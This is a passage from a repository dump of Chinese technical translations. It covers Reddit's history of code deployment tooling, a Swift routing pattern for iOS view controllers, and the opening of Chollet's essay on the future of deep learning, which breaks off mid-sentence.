    "content": "> * 原文地址：[The Evolution of Code Deploys at Reddit](https://redditblog.com/2017/06/02/the-evolution-of-code-deploys-at-reddit/)\n> * 原文作者：[Neil Williams & Saurabh Sharma](https://redditblog.com/2017/06/02/the-evolution-of-code-deploys-at-reddit/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[steinliber](https://github.com/steinliber)\n> * 校对者：[zaraguo](https://github.com/zaraguo)， [CACppuccino](https://github.com/CACppuccino)\n\n# 在 Reddit 中代码部署的演进\n![](https://i2.wp.com/redditupvoted.files.wordpress.com/2017/06/header-1.png)\n\n\"留意你所演进的方向是重要的，这样你才能持续不断向有用的方向发展。\"\n\n**在 Reddit 我们仍然不断地部署代码**。每个工程师都会编写代码，再让其他人审查这份代码，合并代码之后再定期把代码推到生产环境。这种情形每周经常会发生 200 次而且每次部署从开始到结束都不会超过 10 分钟。\n\n支持所有这些的系统在这些年不断演进。让我们看看在这段时间它是如何改变的（包括没有改变的部分）。\n\n## 故事最开始的地方：一致和可重复的部署（2007-2010）\n\n现在系统起源于一个叫做 **push** 的 Perl 脚本。在 Reddit 的历史上，写这个脚本的时候和现在是大相径庭。当时 Reddit 只有一群[小会议室](https://redditupvoted.files.wordpress.com/2010/03/1dff6-table.jpg)就可以容纳的工程师队伍。Reddit 也没有部署在 AWS。站点运行在固定数目的服务器上，如果要增加站点处理能力就需要手动添加机器，整个站点是由一个叫做 r2 的大型单体 Python 应用组成。\n\n一直到现在都没有改变的事是请求在负载均衡器上会被分类并被分配到其它独立应用服务器特殊的 \"请求池\" 中。比如说， [listing](https://www.reddit.com/r/rarepuppers/) 和 [comment](https://www.reddit.com/r/AskReddit/comments/cq1q2/help_reddit_turned_spanish_and_i_cannot_undo_it/) 页面是在不同的请求池里处理。虽然任何给定的 r2 进程都可以处理任何类型的请求，单个池与其他池的请求高峰是隔离的，并且当它们有不同的依赖关系时，每个池的失败也是隔离的。\n\n![](https://redditupvoted.files.wordpress.com/2017/06/pools.png?w=720&amp;h=331)\n\n**push** 工具在代码里有一个硬编码的服务器列表并且它是围绕单个应用部署的过程所构建的。它将会遍历所有的应用服务器，使用 SSH 登录到那台机器，运行一系列预设的命令来通过 git 更新服务器上的代码副本，然后重启所有的应用进程。实际上过程如下（大量简化，不是真实的代码）：\n\n```\n# build the static files and put them on the static server\n`make -C /home/reddit/reddit static`\n`rsync /home/reddit/reddit/static public:/var/www/`\n\n# iterate through the app servers and update their copy\n# of the code, restarting once done.\nforeach $h (@hostlist) {\n    `git push $h:/home/reddit/reddit master`\n    `ssh $h make -C /home/reddit/reddit`\n    `ssh $h /bin/restart-reddit.sh`\n}\n```\n\n整个部署过程是顺序的。它一个接一个的在服务器上完成它的工作。就像听起来那么简单，这实际上是一件很棒的事情：它允许一定形式的金丝雀部署。如果你部署了少数服务器的时候一个新的异常突然出现，这时你知道引入了一个 bug 就可以马上中断（Ctrl-C）部署并且回滚之前已经部署的服务器，这样就不会影响全部的请求。因为部署的简单性，我们可以很轻易的在生产环境尝试新事物并且在它不工作的情况下也可以很轻松的还原到之前状态。这也意味着在同一时间内只执行一次部署是很有必要的，这可以保证新的错误是源自于**你**的部署而不是**其他人**的部署，从而可以很简单的知道何时以及哪里需要回滚。\n\n这些对于确保确保一致和可重复的部署都非常重要。它运行的很快。一切都很美好。\n\n## 一大批新的人（2011）\n\n然后我们雇佣了一批工程师，成长到有六个全职工程师的队伍，现在这个队伍适合进入一个[更大点的会议室](https://redditblog.com/2011/07/06/its-time-for-us-to-pack-up-and-move-on-to-bigger-and-better-things/)。我们开始觉得在部署中需要有更好的协调性，特别是当有个人是在家里工作的情况。我们修改了 **push** 工具让它通过一个 IRC 聊天机器人来声明部署是什么时候开始和结束的。这个机器人就存在 IRC 中并声明部署的事项。部署的过程看起来和以前一样，只是现在由系统为我们做这个工作并通知每一个人你正在做什么。\n\n这是我们在部署工作流中第一次使用聊天机器人。在这段时间里，有很多管理部署系统的会话都**源自于**聊天机器人，但是因为我们使用的是第三方的 IRC 服务器，所以我们在生产环境的控制中并不能完全信任这个聊天室，所以它仍然只是单向的信息流。\n\n在站点流量增加的同时，我们也保证了相应基础设施的增长。我们偶尔需要启动新的一系列新的应用服务器并把它们放到服务中。这仍然是非常手工化的过程，包括更新 **push** 代码中的主机列表。\n\n当我们需要给服务器扩容时，我们经常会一次增加数个服务器来增大一个池。其结果是，顺序地遍历服务器列表会快速地接触同一个池中的多个服务器，而不是不同池中的服务器。\n\n\n![](https://redditupvoted.files.wordpress.com/2017/06/unshuffled.png?w=720&amp;h=104)\n\n我们使用 [uWSGI](https://uwsgi-docs.readthedocs.io/en/latest/) 来管理工作进程，当我们通知这个应用重启时，它将会关闭已经存在的进程并且生成新的进程。这个新的进程需要一段时间才能准备好处理请求，并且我们是在同一时间内处理一个池，这将会影响池处理请求的能力。所以我们把部署速度限制到可以保证安全的速度。当服务器数量增多时，部署的时间也会变长。\n\n## 一个重构的部署工具（2012）\n\n我们对部署工具进行了一次改革，改成使用 Python 编写，让人困惑的是它仍然被叫做 **push**。这个新版本有一些主要的提升。\n\n首先，它是从 DNS 中获取它的主机列表而不像之前那样硬编码到代码中。这让我们可以在更新主机列表时不用担心忘记更新部署工具 — 一个基本的服务发现系统。\n\n为了处理顺序重启的问题，我们在部署前打乱了主机列表的顺序。因为它把所有服务器池的部署顺序都打乱了，这让我们可以在更快的速度下安全的切换版本，从而部署地更快。\n\n![](https://redditupvoted.files.wordpress.com/2017/06/shuffled.png?w=720&amp;h=103)\n\n这个最初的实现只是每次都随机的打乱顺序，但是这样做的话很难快速的回滚代码，因为你不会每次都部署到和之前一样的前几台机器上。所以我们修改了打乱的策略使用了种子（译者注：即随机数生成器的种子），当你需要回滚的时候，这个种子可以第二次重新使用。\n\n另一个小而重要的变化是始终部署指定版本的代码。先前版本的部署工具会在给定的主机上更新 **master** 分支，但是如果因为有人不小心推了代码导致 **master** 分支在部署中改变了呢？通过部署特定的 git 版本而不是分支名，我们可以确保部署在生产环境的任何地方代码都是同样的版本。\n\n最后，新工具区分了它的代码（主要关注主机列表和用 ssh 登录到这些主机）和被运行的命令。它仍然非常偏向于满足处理 r2 的需求，但是它有了一个多样的原型 API。这让 r2 可以控制自己的部署步骤，从而更简单把代码的改变推到构建和发布流。例如，以下是可能在单个服务器上运行的指令。确切的命令并没有显示出来但是这个命令序列仍然是特定于 r2 的工作流。\n\n```\nsudo /opt/reddit/deploy.py fetch reddit\nsudo /opt/reddit/deploy.py deploy reddit f3bbbd66a6\nsudo /opt/reddit/deploy.py fetch-names\nsudo /opt/reddit/deploy.py restart all\n```\n\n那个叫做 fetch-names 的命令是只针对 r2 处理的。\n\n## 自动伸缩器（2013）\n\n然后我们决定开始使用云端的设施和自动伸缩（这是另一篇博客文章的主题）。这让我们在网站不怎么忙时省下一大笔钱，遭遇到预料不及的请求量时自动增加设施。\n\n之前所做的自动从 DNS 获取主机列表的功能使这个变成了一个很自然的过渡。主机列表的更改频率比以前更加频繁，但是这对于工具来说并没有什么不同。这个一开始只是为了提高生活质量的东西现在成为了自动伸缩的必要部分。\n\n然而，自动伸缩确实带来了一些有趣的边界条件。天下没有免费的午餐，如果在部署进行的期间启动了新的服务器，那会发生什么？我们必须确保所有新启动的服务器都能切换到新的代码（如果有的话）。如果服务器在部署中途退出了怎么办？这个工具必须做得更聪明，从而可以检测服务器何时可以合法地被移除，而不是成为部署过程中的一个应该被提醒的问题。\n\n意外的，这段时间我们也因为各种各样的原因从 uWSGI 切换到 [Gunicorn](http://gunicorn.org/)。对于部署来说，这并没有真正的区别。\n\n事情仍在继续。\n\n## 太多服务器了（2014）\n\n随着时间推移，需要处理峰值流量的服务器不断增长。这意味着部署所花的时间越来越长。在最坏的情况下，一个普通的部署会花掉将近一个小时。这看起来不对啊。\n\n我们重写了部署工具来并行处理主机。这个新版本叫做 **[rollingpin](https://github.com/reddit/rollingpin)**。老的部署工具所花的大量时间都是初始化 ssh 连接并且等待命令完成，所以在可允许的安全数量并行化部署可以加快部署。这马上又把部署的时间降低到了 5 分钟。\n\n![](https://redditupvoted.files.wordpress.com/2017/06/parallel.png?w=720&amp;h=103)\n\n为了减少同时重新启动多台服务器的影响，部署工具的随机打乱程序也变得越来越智能。它不会随便的打乱服务器列表，而是[通过最大限度的分割每个池的服务来交错的部署服务器]((https://github.com/reddit/rollingpin/blob/master/rollingpin/utils.py#L94-L110)。更加显著的减少了部署对网站的影响。\n\n新工具最重要的变化是[部署工具和每个服务器上的工具之前的 API](https://github.com/reddit/rollingpin/blob/master/example-deploy.p)定义的更加清晰并且和 r2 的需求解耦。这最初是为了让源代码更加易读，但不久之后变的非常有用。下面是一个部署示例，高亮显示的命令是被远程执行的 API。\n\n![](https://redditupvoted.files.wordpress.com/2017/06/rollout.png?w=720)\n\n## 太多人了（2015）\n\n突然，似乎有太多人在同一时间在 r2 上工作了。这很棒但也意味着更多的部署。维持在同一时间只部署一次代码慢慢变得更加困难，个别的工程师必须先口头上协调好他们发布代码的顺序。为了解决这个问题，我们向聊天机器人添加了协调部署队列的功能。工程师将先申请申请将部署锁并且将其部署或放入等待队列。这有助于维护部署的顺序并且让人在等待锁解开的时候可以休息一下。\n\n在团队增长中增加的另一个重要功能是[集中化追踪部署](https://codeascraft.com/2010/12/08/track-every-release/)。我们修改了部署工具来将部署过程中的指标发送到 Graphite，这样就可以简单地将指标的变化和部署相关联。\n\n## 第二次（太多）服务了（也是 2015）\n\n恍如隔世，我们有第二个服务要上线了。这个网站新的移动版要上线。这是一个完全不同的技术栈，而且它有自己的服务器和构建过程。这是部署工具解耦 API 的第一次实战测试。通过增加在每个项目不同位置增加构建步骤的能力，新服务成功启动了而且我们能够在同一个系统下管理这两个服务。\n\n## 太多服务了（2016）\n\n在下一年的开发过程中，我们看到了 Reddit 团队的爆炸式增长。我们从这两个服务增长到十几个服务并且从两个团队增长为几打。我们的主要服务要么都是建立在我们的后端服务框架 [Baseplate](https://github.com/reddit/baseplate) 上，要么就是类似于移动网络的 node 应用。这个部署的基础设施在所有的服务中都很常见，而且因为 **rollingpin** 并不关心它部署的是什么，越来越多的服务可以更快的上线。这就可以很轻松地用我们熟悉的工具来部署新的服务。\n\n## 安全的网络（2017）\n\n随着专用于单体应用的服务器数量增加，部署的时间也增长了。我们希望通过提高同时部署的并行数量来解决这个问题，但是这样做会导致过多同时重新启动的应用服务器。这样我们可用服务器的容量就会不足，导致不足以处理接受的请求，使其它的应用服务器过载。\n\nGunicorn 的主进程使用的是和 uWSGI 相同的模式，它将会同时重启所有的工作进程。在新的工作进程启动阶段，你都不能处理任何请求。我们单体应用的工作进程启动时间为 10-30 秒，这意味着在这段时间内，我们将无法处理任何请求。为了解决这个问题，我们用 Stripe 的 worker 管理器 [Einhorn](https://github.com/stripe/einhorn) 取代了 gunicorn 的主进程，但是仍然[保存 gunicorn 的 HTTP 堆栈和 WSGI 容器](https://github.com/reddit/reddit/blob/master/r2/r2/lib/einhorn.py)。用 Einhorn 来重启工作进程的方式是：先产生一个新的工作进程，等到这个新的进程声明已经准备好处理请求之后关闭旧的工作进程，重复前面的步骤直到全部服务器都升级好。这样创建了一个安全的网络可以让我们在部署期间仍能保证服务器的处理能力。\n\n这个新模式引入了另一个问题。如前所述，一个工作进程可能需要长达 30 秒的时间来替换和启动。这意味着如果你的代码有一个 bug，它将不会立刻显露出来而且你继续会在很多服务器上做版本变更。为了防止这种情况，我们引入了一个部署方式，部署过程会阻塞一直到工作进程已经完成重启，之后才会在另一台服务器开始部署。这是通过简单的定时查询 Einhorn 状态，一直到所有的新工作进程都准备好。为了保持部署的速度，我们只是增加了并行量，至少现在看这样做是安全的。\n\n这个新的机制让我们可以并行地部署更多的服务器，无视因为安全而等待的额外时间，对于将近 800 台服务器部署的时间降至 7 分钟。\n\n## 忆古思今\n\n这个部署的基础设施是多年来逐步提升的结果，而不是任何单一专门的开发过程。历史中的问题和每一步的权衡无论是在现在的系统还是过去任何时候的都看得到。这种演进的方式有利有弊：在任何时间我们所需要付出的努力都会更少，但是在这个过程中我们可能会遇到死胡同。重要的是要关注你正在演进的地方，这样你才能不断朝着有用的方向前进。\n\n## 未来\n\nReddit 的基础设施需要支持团队的扩大和新项目的构建。现在 Reddit 这家公司的发展速度比历史上的任何时候都要快，而且我们正在开发比以前更大，更有趣的项目。我们今天遇到的大问题有两个方面：首先要在保持生产环境基础设施安全的情况下提高工程师的自主权，还要逐步建立一个可以让工程师可以放心地快速部署的安全网络。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/the-flexible-routing-approach-in-an-ios-app.md",
    "content": "> * 原文地址：[A Flexible Routing Approach in an iOS App](https://medium.com/rosberryapps/the-flexible-routing-approach-in-an-ios-app-eb4b05aa7f52)\n> * 原文作者：[Nikita Ermolenko](https://medium.com/@otbivnoe?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-flexible-routing-approach-in-an-ios-app.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-flexible-routing-approach-in-an-ios-app.md)\n> * 译者：[YinTokey](https://github.com/YinTokey)\n> * 校对者：[ellcyyang](https://github.com/ellcyyang), [94haox](https://github.com/94haox)\n\n# iOS App 上一种灵活的路由方式\n\n![](https://ws2.sinaimg.cn/large/006tKfTcly1fpahnxn7qrj318g0pcdvt.jpg)\n\n“Trollstigen”\n\n在 [Rosberry](http://about.rosberry.com/) 中我们已经放弃使用除了 Launch Screen 以外的所有 storyboard，当然，所有布局和跳转逻辑都在代码里进行配置。如果想要进一步了解，请参考我们团队的这篇文章 [没有 Interface Builder 的生活](https://blog.zeplin.io/life-without-interface-builder-adbb009d2068)，我希望你会觉得这篇文章非常实用。\n\n在这篇文章里，我将会介绍一种在 View Controller 之间的新的路由方式。我们将带着问题开始，然后一步一步地走向最终结论。享受阅读吧！\n\n* * *\n\n#### 深入挖掘这个问题\n\n让我们使用一个具体的例子来理解这个问题。例如我们准备做一个 App，它包含了个人主页、好友列表、聊天窗口等组成部分。很显然，我们可以注意到在很多 Controller 里都需要通过页面跳转去显示用户的个主页，如果这个逻辑只实现一次，并且能复用的话，那就非常好了。我们记得 [**DRY**](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself)！\n我们无法使用一些 storyboard 来实现它，你可以想象一下，它在 storyboard 里面看起像什么 —— weeeeb 页面. 😬\n\n现在我们使用的是 **MVVM + Router** 的架构，由 **ViewModel** 告诉 **Router** 需要跳转到一个其他的模块，然后 router 去执行。在我们的例子中，为了避免 view controller（或者View model）臃肿，**Router** 仅仅携带了所有的跳转逻辑。如果你一开始不是很明白，不用担心！我将会用一种比较浅显的方式来解释这种解决方案，所以它也会很容易地被应用到简单的 **MVC** 中去。\n\n* * *\n\n#### 解决方案\n\n**1.** 一开始，添加一个拓展到 **ViewController** 看起来像是一个毫无异议的解决方案：\n\n```\nextension UIViewController {\n    func openProfile(for user: User) {\n        let profileViewController = ProfileViewController(user: user)\n        present(profileViewController, animated: true, completion: nil)\n    }\n}\n```\n\n这就是我们想要的 —— 一次编写，多次使用。但是当有很多页面跳转的时候，它会变得很凌乱。我知道 Xcode 的自动补全不好用，但是有时候会给显示很多不需要的方法。即使你不想要在这一页面显示一个个人主页，它还是会存在于那里。所以试着更进一步去优化它。\n\n**2.** 不要在 **ViewControlelr** 里写一个扩展，然后在一个地方写大量方法，让我们在一个单独的**协议**中实现每一个路由，然后使用 Swift 的一个非常好的特性 —— 协议扩展。\n\n```\nprotocol ProfileRoute {\n    func openProfile(for user: User)\n}\n\nextension ProfileRoute where Self: UIViewController {\n    func openProfile(for user: User) {\n        let profileViewController = ProfileViewController(user: user)\n        present(profileViewController, animated: true, completion: nil)\n    }\n}\n\nfinal class FriendsViewController: UIViewController, ProfileRoute {}\n```\n\n现在这个方法就比较灵活了 —— 我们可以扩展一个控制器，仅添加那些所需要的路由（避免写大量的方法），只是添加一个路由到控制器的继承体系里。 🎉\n\n**3.** 但是，理所当然地这里还有一些改进方式：\n\n*   如果我们想要从所有地方跳转到个人主页，除了一个地方以外（这很罕见，但有可能）呢？\n*   或者更严重的情况 —— 如果我改变了跳转的进入方式，那么我也应该改变跳转页消失的方式（ present / dismiss )。\n\n我们现在没有机会去配置它，所以现在是时候使用少量的代码去实现一个抽象**跳转** —— **ModalTransition** 和 **PushTransition**：\n\n```\nprotocol Transition: class {\n    weak var viewController: UIViewController? { get set }\n\n    func open(_ viewController: UIViewController)\n    func close(_ viewController: UIViewController)\n}\n```\n\n为了排版简化，下面我少写了一些 **ModalTransition** 的实现逻辑代码。[Github](https://github.com/Otbivnoe/Routing/blob/master/Routing/Routing/Transitions/ModalTransition.swift) 上有完整能用的版本。\n\n```\nclass ModalTransition: NSObject {\n    var animator: Animator?\n    weak var viewController: UIViewController?\n\n    init(animator: Animator? = nil) {\n        self.animator = animator\n    }\n}\n\nextension ModalTransition: Transition {}\nextension ModalTransition: UIViewControllerTransitioningDelegate {}\n```\n\n下面同样减少了部分 [PushTransition](https://github.com/Otbivnoe/Routing/blob/master/Routing/Routing/Transitions/PushTransition.swift) 的代码逻辑：\n\n```\nclass PushTransition: NSObject {\n    var animator: Animator?\n    weak var viewController: UIViewController?\n\n    init(animator: Animator? = nil) {\n        self.animator = animator\n    }\n}\n\nextension PushTransition: Transition {}\nextension PushTransition: UINavigationControllerDelegate {}\n```\n\n你一定注意到了 **Animator** 这个对象，它是一个简单的用于自定义跳转的协议：\n\n```\nprotocol Animator: UIViewControllerAnimatedTransitioning {\n    var isPresenting: Bool { get set }\n}\n```\n\n正如我之前所说到的臃肿的 view controller，现在让我们添加一个包含整个路由逻辑的对象，然后让他作为 controller 的一个属性。这就是我们所实现的**路由** —— 一个未来可以被所有路由继承的基类。 🎉\n\n```\nprotocol Closable: class {\n    func close()\n}\n\nprotocol RouterProtocol: class {\n    associatedtype V: UIViewController\n    weak var viewController: V? { get }\n    \n    func open(_ viewController: UIViewController, transition: Transition)\n}\n\nclass Router<U>: RouterProtocol, Closable where U: UIViewController {\n    typealias V = U\n    \n    weak var viewController: V?\n    var openTransition: Transition?\n\n    func open(_ viewController: UIViewController, transition: Transition) {\n        transition.viewController = self.viewController\n        transition.open(viewController)\n    }\n\n    func close() {\n        guard let openTransition = openTransition else {\n            assertionFailure(\"You should specify an open transition in order to close a module.\")\n            return\n        }\n        guard let viewController = viewController else {\n            assertionFailure(\"Nothing to close.\")\n            return\n        }\n        openTransition.close(viewController)\n    }\n}\n```\n\n请稍微花点时间去理解上面这些代码，这个类包含两个用于页面的打开和关闭的方法、一个 view controller 的引用和一个 `openTransition` 对象来让我们知道如何关闭这个模块。\n\n现在让我们使用这个新的类来更新我们的 **ProfileRoute**：\n\n\n```\nprotocol ProfileRoute {\n    var profileTransition: Transition { get }\n    func openProfile(for user: User)\n}\n\nextension ProfileRoute where Self: RouterProtocol {\n\n    var profileTransition: Transition {\n        return ModalTransition()\n    }\n\n    func openProfile(for user: User) {\n        let router = ProfileRouter()\n        let profileViewController = ProfileViewController(router: router)\n        router.viewController = profileViewController\n\n        let transition = profileTransition // 这是一个已经计算过的属性，为了获取一个实例，我把它存为一个变量\n        router.openTransition = transition\n        open(profileViewController, transition: transition)\n    }\n}\n```\n\n你可以看到默认的界面的跳转是模态的，在 `openProfile` 方法中我们生成一个新的模块，然后打开它（当然如果使用建造者模式或者工厂模式来生成会更好）。同时注意一个变量 `transition`，为了拥有一个实例，`profileTransition` 会被保存到这个变量里。\n\n下一步是更新 **Friends** 模块：\n\n```\nfinal class FriendsRouter: Router<FriendsViewController>, FriendsRouter.Routes  {\n    typealias Routes = ProfileRoute & /* other routes */ \n}\n\nfinal class FriendsViewController: UIViewController {\n\n    private let router: FriendsRouter.Routes\n\n    init(router: FriendsRouter.Routes) {\n        self.router = router\n        super.init(nibName: nil, bundle: nil)\n    }\n  \n    func userButtonPressed() {\n        router.openProfile(for: /* some user */)\n    }\n}\n```\n\n我们已经创建了 **FriendsRouter** ，并且通过 **typealias** 添加了所需要的路由。这正是魔术发生的地方！我们使用协议组成（**&**）去添加更多路由和协议扩展，以此来使用一个默认的路由实现。😎\n\n这篇文章的最后一步是简单友好的实现关闭跳转。如果你重新调用  **ProfileRouter**，那边我们实现已经配置好了 `openTransition`，那么现在就可以利用它。\n\n我创建了一个 **Profile** 模块，它只有一个路由 —— **关闭**，而且当一个用户点击了关闭按钮，我们使用一样的跳转方式去关闭这个模块。\n\n```\nfinal class ProfileRouter: Router<ProfileViewController> {\n    typealias Routes = Closable\n}\n\nfinal class ProfileViewController: UIViewController {\n\n    private let router: ProfileRouter.Routes\n\n    init(router: ProfileRouter.Routes) {\n        self.router = router\n        super.init(nibName: nil, bundle: nil)\n    }\n\n    func closeButtonPressed() {\n        router.close()\n    }\n}\n```\n\n如果需要改变跳转模式，只需要在 **ProfileRoute** 的协议扩展里去修改，这些代码可以继续运行，不需要改。是不是很好？\n\n* * *\n\n#### 结论\n\n最后我想说这个路由方式可以简单地适配 **MVC**，**VIPER**，**MVVM** 架构，即使你使用 **Coordinators**，它们可以一起运行。我正在尽力去改进这个方案，而且我也很乐意听取你的建议！\n\n对这个方案感兴趣的人，我准备了一个[例子](https://github.com/Otbivnoe/Routing)，里面包含了少数模块，在它们之间有不同的跳转方式，来让你更深入地理解它。去下载和玩一下！\n\n* * *\n\n感谢阅读！如果你喜欢上面文章 —— 不要客气，加入我们的 [telegram channel](https://t.me/readaggregator)！\n\n![](https://cdn-images-1.medium.com/max/800/1*s9Rzi_gHLe5rllzlj5ox1A.png)\n\n这是编译ITC过程中的我。\n\n在 [Rosberry](http://www.rosberry.com) 的粗野iOS工程师。Reactive、开源爱好者和循环引用检测家。\n\n感谢 [Anton Kovalev](https://medium.com/@totowkos?source=post_page) 和 [Rosberry](https://medium.com/@Rosberry?source=post_page)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/the-future-of-deep-learning.md",
    "content": "\n> * 原文地址：[The future of deep learning](https://blog.keras.io/the-future-of-deep-learning.html)\n> * 原文作者：[Francois Chollet](https://twitter.com/fchollet)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-future-of-deep-learning.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-future-of-deep-learning.md)\n> * 译者：[Changkun Ou](https://github.com/changkun/)\n> * 校对者：[MoutainOne](https://github.com/MoutainOne), [sunshine940326](https://github.com/sunshine940326)\n\n# 深度学习的未来\n\n这篇文章改编自我的书 [Deep Learning with Python](https://www.manning.com/books/deep-learning-with-python?a_aid=keras&a_bid=76564dff)（Manning 出版社）第 9 章第 3 节（译者注：「结论」一章最后一小节）。\n它是讨论当前深度学习的局限性及其未来系列文章的第二篇。\n你可以在这里阅读第一篇：[深度学习的局限性](https://github.com/xitu/gold-miner/blob/master/TODO/the-limitations-of-deep-learning.md)。\n\n---\n\n鉴于我们已经了解深度神经网的工作原理、局限性以及目前的研究现状，那我们能够预测它未来的趋势吗？ 这里给出一些纯粹的个人想法。 注意，我并没有预知未来的能力，所以我预测的很多东西可能并不会成为现实。这是一个完完全全的思考性文章。我与你们分享这些不是因为我希望它们在未来被证明完全正确，而是因为它们在现在很有意思并且可行。\n\n从高处审视，我觉得比较有前途的主要方向有：\n\n- 构建于顶层丰富的原始数据之上而不是当前的可微层次的模型，将更加接近通用目的的计算机程序 —— 当前模型的根本弱点是我们将如何得到（数据的）**推理 (reasoning)和抽象(abstraction)**。\n- 允许模型摆脱（每一步之间的）可微变换 (differentiable transformation) 限制的新学习模式使得实现上述模型成为可能（译者注：神经网络的每一步传播本质上是一个可微的线性变换，借助神经元的激活函数产生了非线性）。\n- 不需要人工调参的模型 —— 你的工作不应该是无休止地测试不同的参数。\n- 更好地、系统地复用学过的特征和架构；基于可复用和模块化子程序的元学习（meta-learning）系统（译者注：元学习的动机是自动理解并应用什么类型算法适合什么样类型的问题）。\n\n此外，请注意，这些考虑并不是特定于已经作为深度学习基础设施的有监督学习，而是适用于任何形式的机器学习，包括无监督、自监督及强化学习。你训练数据标签的来源或你的训练循环怎么样其实并不重要，机器学习的这些不同的分支只是同一结构的不同面而已。\n\n就让我们来一探究竟吧。\n\n## 模型即程序\n\n正如我们在上一篇文章中指出的那样，我们可以预计的是，机器学习领域开发的一个必要转型就是：从使用模型本身进行纯模式识别并仅能实现局部泛化当中脱离开来，转为能够进行抽象及推理的模型，从而实现极端泛化（extreme generalization）。目前的 AI 程序所具有的基本形式的推理能力均为程序员们手动写死的代码，例如：依赖搜索算法、图操作、形式逻辑的软件；又比如 DeepMind 的 AlphaGo，大多数所谓的「智能」其实都是被专业程序员设计并写死实现的（例如 Monte-Carlo 树搜索）；从数据中学习只发生在特殊的一些子模块（价值网络及策略网络）中。但是，这样的 AI 系统在未来可能会在没有人为参与的情况下被充分学习。\n\n什么可以使得这种情况成为可能呢？考虑一个众所周知的网络类型：RNN。很重要的一点就是，RNN 的局限性远小于前馈神经网络。这是因为 RNN 不仅仅只是一个简单几何变换，而是在 for 循环里不断重复的几何变换。时间 for 循环本身由程序员写死的，这是网络本身的假设。当然，RNN 在它们能够表示的方面依然十分有限，主要原因是它们执行的每个步骤都是一个可微的几何变换，并且它们每一步传递信息的方式是通过连续几何空间中的点（状态向量）。现在，想象神经网络将以类似编程原语（例如 for 循环，但不仅仅是一个单一的写死的具有写死的几何记忆的 for 循环）的方式「增强」，具有一组大量的编程原语，使得模型能够自由的操纵并且扩充它的处理函数，例如 if 条件分支、while 循环语句、变量创建、长期记忆的磁盘存储、排序运算符、诸如列表、图、哈希表等的高级数据结构等等。这样一个网络可以表示的程序的空间将远大于当前深度学习模型所能表达的范围，其中一些程序可以实现更高的泛化能力。\n\n总而言之，我们将远离写死的算法智能（手工软件）和学会的几何智能（深度学习），取而代之的是去提供混合推理和抽象能力的正式算法模块和非正式直觉和模式识别功能的几何模块，使得很少甚至没有人参与整个系统的学习。\n\n有一个相关的 AI 子领域我认为可能会出现巨大突破，那就是程序合成（Program Synthesis），尤其是神经程序合成（Neural Program Synthesis）。程序合成在于通过使用搜索算法（可能的遗传搜索、遗传编程）自动生成简单的程序，从而探索可能程序的一个更大的空间。当找到符合要求的程序后，停止搜索，并作为一组输入输入对来提供。正如你所看到的，这让我们高度联想到机器学习：给定训练数据作为输入输出对，找到一个程序使其匹配输入输出对，并能够泛化新的输入。不同之处在于，我们不用去学习写死程序（一个神经网路）的参数，而是通过离散的搜索过程来生成源代码。\n\n我相当期待这个子领域能在未来的几年里掀起一股新浪潮。特别地，我期望深度学习和程序合成之间能够再出现一个交叉子领域，在这里我们不再用通用语言来写程序，而是生成通过丰富的算法原语集增强的神经网络（几何数据处理流），比如 for 循环等等。这会比直接生成源代码要容易且有用得多，而且他会大大的扩展机器学习可以解决问题的范围 —— 我们可以自动生成给定适当训练数据的程序空间。一个符号 AI 与几何 AI 的混合。当代的 RNN 可以看做是这种混合算法与几何模型的鼻祖。\n\n![A learned program relying on both geometric (pattern recognition, intuition) and algorithmic (reasoning, search, memory) primitives.](https://blog.keras.io/img/future-of-dl/metalearning1.png)\n\n**图：一个依赖几何原语（模式识别、直觉）和算法原语（推理、搜索、记忆）的学习程序。**\n\n## 超越反向传播与可微层\n\n如果机器学习模型变得更像程序，那么它们将几乎不再是可微的 —— 当然，这些程序依然会将连续的几何图层作为可微的子程序，但是整个模型却不会这样。因此，使用反向传播来调整固定、写死的网络权重不能成为未来训练模型的首选方法 —— 至少不能是唯一的方法。我们需要找出有效地训练不可微系统的方法。目前的方法包括遗传算法、「进化策略」、某些强化学习方法和 ADMM（乘子交替方向法）。自然地，梯度下降不会被淘汰 —— 因为梯度信息总是对优化可微参数的函数有用。但是，我们的模型肯定会变得越来越有野心，而不仅仅只满足于可微参数的函数。因此它们的自动开发（「机器学习」中的「学习」）将需要的不仅仅只普通的反向传播。\n\n此外，反向传播是端到端的，这对于学习良好的链式变换（Chained Transformation）是一件好事，但它却计算效率低下，因为它不能充分利用深度神经网络的模块化性质。 为了使事情更有效率，有一个通用的方案：引入模块化和层次结构。 因此，我们可以通过引入具有一些同步机制的解耦训练模块，以分级方式组织，从而使反向传播本身更有效率。 DeepMind 最近在「合成梯度」(Synthetic Gradient) 